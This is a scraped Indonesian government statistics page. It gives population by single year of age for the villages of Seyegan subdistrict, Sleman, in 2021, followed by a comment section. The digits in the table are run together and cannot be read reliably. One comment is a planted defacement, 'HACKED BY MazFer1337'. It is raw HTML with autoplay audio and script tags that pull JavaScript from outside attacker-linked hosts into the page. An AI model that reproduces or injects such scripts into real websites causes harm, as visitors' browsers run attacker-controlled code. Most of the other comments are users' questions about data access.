Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER I 2021

Jumlah Penduduk KECAMATAN SEYEGAN, KABUPATEN SLEMAN, D.I Yogyakarta SEMESTER I 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaMARGOLUWIHMARGODADIMARGOKATONMARGOMULYOMARGOAGUNGTotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun121100 22110888 1969170 161158150 308105101 206583 509 1.092
2 tahun7870 1485553 1086048 1088476 1608270 152359 317 676
3 tahun9384 1775648 1044850 989197 1888058 138368 337 705
4 tahun7464 1386753 1205444 987380 1536659 125334 300 634
5 tahun7077 1476672 1385853 11110492 1968176 157379 370 749
6 tahun7682 1585963 1226443 1079281 1737977 156370 346 716
7 tahun8072 1527254 1264653 998683 1696882 150352 344 696
8 tahun7985 1646856 1246762 12910182 1837089 159385 374 759
9 tahun7380 1538572 1575863 121114111 2258774 161417 400 817
10 tahun6886 1545860 1186350 1139396 1897576 151357 368 725
11 tahun8580 1656363 1265656 112103114 2177386 159380 399 779
12 tahun7784 1618183 1645958 11710097 1978393 176400 415 815
13 tahun8076 1569054 1445851 10911099 2098071 151418 351 769
14 tahun7674 1506666 1326356 11910886 1948568 153398 350 748
15 tahun8789 1765667 1235339 9210482 1868263 145382 340 722
16 tahun7978 1576558 1235651 1078294 1767559 134357 340 697
17 tahun6385 1486369 1324547 9210989 1985677 133336 367 703
18 tahun8964 1537271 1435865 1239095 1858571 156394 366 760
19 tahun8063 1435466 1205156 10781106 1877581 156341 372 713
20 tahun8682 1686971 1404851 99101101 2027171 142375 376 751
21 tahun8290 1728264 1466569 13494100 1946686 152389 409 798
22 tahun7770 1475459 1135753 1107778 1557068 138335 328 663
23 tahun7376 1496278 1403859 979692 1888255 137351 360 711
24 tahun6480 1447378 1516357 12073104 1776864 132341 383 724
25 tahun7679 1556862 1307272 1448786 1736377 140366 376 742
26 tahun6778 1455954 1135347 1007495 1696180 141314 354 668
27 tahun7580 1555264 1166051 11185104 1896576 141337 375 712
28 tahun8062 1428275 1574559 1048891 1798358 141378 345 723
29 tahun7772 1496356 1195353 1069383 1767175 146357 339 696
30 tahun6974 1435656 1125043 939279 1716563 128332 315 647
31 tahun7371 1445556 1115045 959498 1927772 149349 342 691
32 tahun7169 1405960 1195454 1087988 1676262 124325 333 658
33 tahun7371 1445461 1154436 808790 1776975 144327 333 660
34 tahun7673 1495356 1095157 1088898 1866977 146337 361 698
35 tahun7483 1575863 1214540 8510088 1887980 159356 354 710
36 tahun7768 1455057 1075749 10610289 1918768 155373 331 704
37 tahun7878 1565849 1074861 10910893 2017982 161371 363 734
38 tahun89108 1976172 1335468 122121107 2289996 195424 451 875
39 tahun9678 1746673 1397070 140115104 2199183 174438 408 846
40 tahun9884 1827686 1626157 118127113 2409386 179455 426 881
41 tahun82104 1867586 1616866 134102101 2039173 164418 430 848
42 tahun9084 1747577 1526365 12810390 1937876 154409 392 801
43 tahun9675 1718165 1464946 9597102 1997766 143400 354 754
44 tahun9772 1696884 1525353 10610583 1886765 132390 357 747
45 tahun8679 1656271 1336757 124109100 20974103 177398 410 808
46 tahun9075 1657774 1517757 1349096 1866666 132400 368 768
47 tahun5579 1346668 1345861 11910296 1986686 152347 390 737
48 tahun8183 1648372 1555773 130115111 2267895 173414 434 848
49 tahun8076 1566561 1265971 13010292 1949762 159403 362 765
50 tahun8876 1646965 1346760 1278293 1758676 162392 370 762
51 tahun9679 1757477 1515066 116106116 2227286 158398 424 822
52 tahun7598 1737175 1466269 13188102 1907483 157370 427 797
53 tahun6590 1556968 1377348 12198116 2146365 128368 387 755
54 tahun7277 1495163 1146068 1289376 1696468 132340 352 692
55 tahun8285 1677366 1395559 1149288 1807174 145373 372 745
56 tahun6360 1235064 1144058 987371 1445466 120280 319 599
57 tahun4964 1135159 1105558 1135581 1366260 122272 322 594
58 tahun6468 1324050 904542 877372 1455476 130276 308 584
59 tahun5570 1254459 1034432 766381 1444952 101255 294 549
60 tahun6054 1145164 1155149 1005887 1455589 144275 343 618
61 tahun4665 1114955 1044739 866086 1465268 120254 313 567
62 tahun5849 1074349 924853 1017963 1425765 122285 279 564
63 tahun5549 1044355 982641 675249 1015354 107229 248 477
64 tahun3853 914154 952244 667151 1224956 105221 258 479
65 tahun2934 635046 963641 775366 1195267 119220 254 474
66 tahun4037 774241 832927 565252 1044256 98205 213 418
67 tahun3539 742925 543529 645459 1134638 84199 190 389
68 tahun2940 694138 792826 543937 763734 71174 175 349
69 tahun3530 653334 671825 433433 672724 51147 146 293
70 tahun3037 672833 612530 553037 672935 64142 172 314
71 tahun2429 531829 472111 322628 542326 49112 123 235
72 tahun2729 561531 462029 492941 702827 55119 157 276
73 tahun1822 401527 421515 301721 382116 3786 101 187
74 tahun1728 452222 441018 282623 491719 3692 110 202
75 tahun2425 491424 381925 441927 461735 5293 136 229
76 tahun1619 351313 261213 251917 361124 3571 86 157
77 tahun1121 321427 411320 332331 542323 4684 122 206
78 tahun3420 541423 373120 511820 381920 39116 103 219
79 tahun1419 331612 2894 131621 371111 2266 67 133
80 ke atas78118 19669118 1877297 16984116 20096124 220399 573 972
Jumlah5.3435.43010.7734.5184.6909.2083.9353.9317.8666.4716.52312.9945.1655.29410.459 25.432 25.868 51.300
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih